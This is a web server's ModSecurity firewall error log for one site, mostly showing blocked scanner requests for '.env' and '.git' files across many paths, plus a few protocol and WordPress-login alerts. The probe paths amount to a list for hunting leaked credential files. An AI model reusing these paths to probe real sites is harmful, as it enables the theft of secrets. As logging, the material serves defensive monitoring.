[Sat Mar 21 03:48:10.006569 2026] [:error] [pid 1601:tid 1623] [client 104.23.239.96:11795] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_settings"] [unique_id "ab2keqdDBYVcyITq-IH85wAAANI"]
[Sat Mar 21 03:48:10.298133 2026] [:error] [pid 1491:tid 1583] [client 104.23.239.96:11802] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local.backup"] [unique_id "ab2keq3VfHftzE9w9t5ofwAAAJM"]
[Sat Mar 21 03:48:10.427090 2026] [:error] [pid 1491:tid 1569] [client 104.23.239.97:9253] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/config"] [unique_id "ab2keq3VfHftzE9w9t5ogAAAAIY"]
[Sat Mar 21 03:48:10.494044 2026] [:error] [pid 1490:tid 1559] [client 104.23.239.96:10540] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/index"] [unique_id "ab2kemSWhIPTatyxDeBUwAAAAFc"]
[Sat Mar 21 03:48:10.509921 2026] [:error] [pid 1490:tid 1551] [client 104.23.239.96:10542] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/logs/HEAD"] [unique_id "ab2kemSWhIPTatyxDeBUwQAAAFA"]
[Sat Mar 21 03:48:10.834093 2026] [:error] [pid 1491:tid 1573] [client 104.23.239.96:10543] [client 104.23.239.96] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/refs/heads/master"] [unique_id "ab2keq3VfHftzE9w9t5oggAAAIo"]
[Sat Mar 21 03:48:10.929584 2026] [:error] [pid 1491:tid 1579] [client 104.23.239.97:9260] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.git/refs/heads/main"] [unique_id "ab2keq3VfHftzE9w9t5ogwAAAJA"]
[Sat Mar 21 03:48:11.030448 2026] [:error] [pid 1489:tid 1508] [client 104.23.239.58:11219] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env"] [unique_id "ab2ke1RvnvBO_DG9kxvbcQAAAAU"]
[Sat Mar 21 03:48:11.050590 2026] [:error] [pid 1491:tid 1576] [client 104.23.239.58:11221] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local"] [unique_id "ab2ke63VfHftzE9w9t5ohAAAAI0"]
[Sat Mar 21 03:48:11.440742 2026] [:error] [pid 1491:tid 1572] [client 104.23.239.58:11223] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.development"] [unique_id "ab2ke63VfHftzE9w9t5oiAAAAIk"]
[Sat Mar 21 03:48:11.602848 2026] [:error] [pid 1489:tid 1526] [client 104.23.239.97:9264] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dev"] [unique_id "ab2ke1RvnvBO_DG9kxvbcwAAABY"]
[Sat Mar 21 03:48:12.169752 2026] [:error] [pid 1491:tid 1569] [client 104.23.239.97:9267] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.backup"] [unique_id "ab2kfK3VfHftzE9w9t5ojAAAAIY"]
[Sat Mar 21 03:48:12.706104 2026] [:error] [pid 1489:tid 1503] [client 104.23.239.58:11231] [client 104.23.239.58] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.bak"] [unique_id "ab2kfFRvnvBO_DG9kxvbdQAAAAA"]
[Sat Mar 21 03:48:13.208707 2026] [:error] [pid 1601:tid 1624] [client 104.23.239.97:9272] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.old"] [unique_id "ab2kfadDBYVcyITq-IH86wAAANM"]
[Sat Mar 21 03:48:13.713863 2026] [:error] [pid 1490:tid 1541] [client 104.23.239.97:9280] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.save"] [unique_id "ab2kfWSWhIPTatyxDeBUxgAAAEY"]
[Sat Mar 21 03:48:31.080251 2026] [:error] [pid 1601:tid 1605] [client 104.23.239.97:9227] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.example"] [unique_id "ab2kj6dDBYVcyITq-IH9JQAAAMA"]
[Sat Mar 21 03:48:33.986706 2026] [:error] [pid 1490:tid 1535] [client 172.69.224.124:12841] [client 172.69.224.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/app/.env"] [unique_id "ab2kkWSWhIPTatyxDeBU6wAAAEI"]
[Sat Mar 21 03:48:34.578772 2026] [:error] [pid 1601:tid 1614] [client 172.69.224.170:10089] [client 172.69.224.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/backend/.env"] [unique_id "ab2kkqdDBYVcyITq-IH9LwAAAMk"]
[Sat Mar 21 03:48:35.130568 2026] [:error] [pid 1490:tid 1542] [client 172.69.224.184:9651] [client 172.69.224.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/api/.env"] [unique_id "ab2kk2SWhIPTatyxDeBU8gAAAEc"]
[Sat Mar 21 03:48:35.689667 2026] [:error] [pid 1491:tid 1588] [client 172.69.224.22:11553] [client 172.69.224.22] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/admin/.env"] [unique_id "ab2kk63VfHftzE9w9t5otQAAAJg"]
[Sat Mar 21 03:48:36.277169 2026] [:error] [pid 1491:tid 1567] [client 172.69.224.125:13621] [client 172.69.224.125] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/core/.env"] [unique_id "ab2klK3VfHftzE9w9t5ouQAAAIQ"]
[Sat Mar 21 03:48:36.826641 2026] [:error] [pid 1491:tid 1583] [client 104.23.239.97:14028] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/public/.env"] [unique_id "ab2klK3VfHftzE9w9t5ovQAAAJM"]
[Sat Mar 21 03:48:37.345245 2026] [:error] [pid 1491:tid 1582] [client 172.69.224.50:10046] [client 172.69.224.50] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/private/.env"] [unique_id "ab2kla3VfHftzE9w9t5owQAAAJI"]
[Sat Mar 21 03:48:39.477883 2026] [:error] [pid 1601:tid 1621] [client 172.69.224.50:10053] [client 172.69.224.50] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/config/.env.local"] [unique_id "ab2kl6dDBYVcyITq-IH9PgAAANA"]
[Sat Mar 21 03:48:40.063709 2026] [:error] [pid 1601:tid 1606] [client 172.69.224.23:11753] [client 172.69.224.23] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.php"] [unique_id "ab2kmKdDBYVcyITq-IH9RAAAAME"]
[Sat Mar 21 03:48:40.644095 2026] [:error] [pid 1601:tid 1619] [client 104.23.239.97:14032] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.json"] [unique_id "ab2kmKdDBYVcyITq-IH9SgAAAM4"]
[Sat Mar 21 03:48:49.987166 2026] [:error] [pid 1490:tid 1549] [client 104.23.239.97:11556] [client 104.23.239.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env~"] [unique_id "ab2koWSWhIPTatyxDeBVCgAAAE4"]
[Sat Mar 21 03:48:50.504362 2026] [:error] [pid 1490:tid 1541] [client 172.69.224.65:13857] [client 172.69.224.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env2"] [unique_id "ab2komSWhIPTatyxDeBVDAAAAEY"]
[Sat Mar 21 03:48:50.844290 2026] [:error] [pid 1601:tid 1627] [client 172.69.224.160:12543] [client 172.69.224.160] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.envrc"] [unique_id "ab2koqdDBYVcyITq-IH9dgAAANY"]
[Sat Mar 21 03:48:51.018105 2026] [:error] [pid 1601:tid 1616] [client 172.69.224.77:14282] [client 172.69.224.77] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.orig"] [unique_id "ab2ko6dDBYVcyITq-IH9dwAAAMs"]
[Sat Mar 21 03:48:51.360533 2026] [:error] [pid 1491:tid 1568] [client 172.69.224.184:11603] [client 172.69.224.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.prod"] [unique_id "ab2ko63VfHftzE9w9t5o2gAAAIU"]
[Sat Mar 21 03:48:51.388831 2026] [:error] [pid 1491:tid 1586] [client 172.69.224.125:12785] [client 172.69.224.125] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.production.bak"] [unique_id "ab2ko63VfHftzE9w9t5o2wAAAJY"]
[Sat Mar 21 03:48:51.578033 2026] [:error] [pid 1490:tid 1552] [client 172.69.224.185:13719] [client 172.69.224.185] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.dev.local"] [unique_id "ab2ko2SWhIPTatyxDeBVDgAAAFE"]
[Sat Mar 21 03:48:51.880591 2026] [:error] [pid 1601:tid 1622] [client 172.69.224.125:12790] [client 172.69.224.125] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.docker"] [unique_id "ab2ko6dDBYVcyITq-IH9ewAAANE"]
[Sat Mar 21 03:48:51.981654 2026] [:error] [pid 1601:tid 1626] [client 172.69.224.64:10998] [client 172.69.224.64] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.container"] [unique_id "ab2ko6dDBYVcyITq-IH9fAAAANU"]
[Sat Mar 21 03:48:52.564958 2026] [:error] [pid 1601:tid 1616] [client 172.69.224.65:9812] [client 172.69.224.65] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/docker/.env.local"] [unique_id "ab2kpKdDBYVcyITq-IH9fwAAAMs"]
[Sat Mar 21 03:48:53.113721 2026] [:error] [pid 1490:tid 1560] [client 172.69.224.190:9457] [client 172.69.224.190] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/server/.env"] [unique_id "ab2kpWSWhIPTatyxDeBVDwAAAFg"]
[Sat Mar 21 03:48:53.631621 2026] [:error] [pid 1601:tid 1619] [client 172.69.224.124:11870] [client 172.69.224.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/srv/.env"] [unique_id "ab2kpadDBYVcyITq-IH9hAAAAM4"]
[Sat Mar 21 03:48:53.936427 2026] [:error] [pid 1601:tid 1625] [client 172.69.224.184:11607] [client 172.69.224.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/web/.env"] [unique_id "ab2kpadDBYVcyITq-IH9hQAAANQ"]
[Sat Mar 21 03:48:54.154013 2026] [:error] [pid 1491:tid 1572] [client 172.69.224.50:10013] [client 172.69.224.50] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/site/.env"] [unique_id "ab2kpq3VfHftzE9w9t5o3wAAAIk"]
[Sat Mar 21 03:48:54.527616 2026] [:error] [pid 1491:tid 1582] [client 172.69.224.170:11054] [client 172.69.224.170] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/www/.env"] [unique_id "ab2kpq3VfHftzE9w9t5o4QAAAJI"]
[Sat Mar 21 03:48:54.680568 2026] [:error] [pid 1491:tid 1563] [client 172.69.224.160:12548] [client 172.69.224.160] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/var/www/.env"] [unique_id "ab2kpq3VfHftzE9w9t5o4gAAAIA"]
[Sat Mar 21 03:48:55.083886 2026] [:error] [pid 1601:tid 1627] [client 172.69.224.50:10017] [client 172.69.224.50] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/var/www/html/.env"] [unique_id "ab2kp6dDBYVcyITq-IH9igAAANY"]
[Sat Mar 21 03:48:55.200675 2026] [:error] [pid 1490:tid 1554] [client 172.69.224.185:11116] [client 172.69.224.185] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/home/.env"] [unique_id "ab2kp2SWhIPTatyxDeBVFQAAAFM"]
[Sat Mar 21 03:48:55.601407 2026] [:error] [pid 1601:tid 1610] [client 172.69.224.124:11874] [client 172.69.224.124] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/root/.env"] [unique_id "ab2kp6dDBYVcyITq-IH9jQAAAMU"]
[Sat Mar 21 03:48:55.762832 2026] [:error] [pid 1601:tid 1619] [client 172.69.224.184:11253] [client 172.69.224.184] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_config"] [unique_id "ab2kp6dDBYVcyITq-IH9jgAAAM4"]
[Sat Mar 21 03:48:56.159394 2026] [:error] [pid 1601:tid 1617] [client 172.69.224.171:12645] [client 172.69.224.171] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_secret"] [unique_id "ab2kqKdDBYVcyITq-IH9kAAAAMw"]
[Sat Mar 21 03:48:56.325737 2026] [:error] [pid 1601:tid 1613] [client 172.69.224.125:12995] [client 172.69.224.125] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env_settings"] [unique_id "ab2kqKdDBYVcyITq-IH9kQAAAMg"]
[Sat Mar 21 03:48:56.749961 2026] [:error] [pid 1601:tid 1616] [client 172.69.224.125:13001] [client 172.69.224.125] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env.local.backup"] [unique_id "ab2kqKdDBYVcyITq-IH9lAAAAMs"]
[Sat Mar 21 03:49:09.959185 2026] [:error] [pid 1491:tid 1565] [client 172.69.224.44:12303] [client 172.69.224.44] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/.env1"] [unique_id "ab2kta3VfHftzE9w9t5o9gAAAII"]
[Sat Mar 21 03:49:11.832845 2026] [:error] [pid 1601:tid 1606] [client 172.69.224.191:13820] [client 172.69.224.191] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.env" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/docker/.env"] [unique_id "ab2kt6dDBYVcyITq-IH91gAAAME"]
[Sat Mar 21 05:54:38.554152 2026] [:error] [pid 1601:tid 1622] [client 43.157.142.101:50266] [client 43.157.142.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "ab3CHqdDBYVcyITq-IE8UgAAANE"]
[Sat Mar 21 10:07:33.526752 2026] [:error] [pid 42886:tid 42908] [client 1.15.52.154:42698] [client 1.15.52.154] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ab39ZV452dC6nbNWav37FwAAAxQ"]
[Sat Mar 21 11:43:14.881204 2026] [:error] [pid 1489:tid 1514] [client 185.223.152.81:24663] [client 185.223.152.81] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 185.223.152.81, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "ab4T0lRvnvBO_DG9kxtY4AAAAAo"]
[Sat Mar 21 13:10:44.176475 2026] [:error] [pid 49170:tid 49173] [client 43.153.86.78:58548] [client 43.153.86.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "ab4oVL1KUC-QISS0eWp4RgAAAQE"]
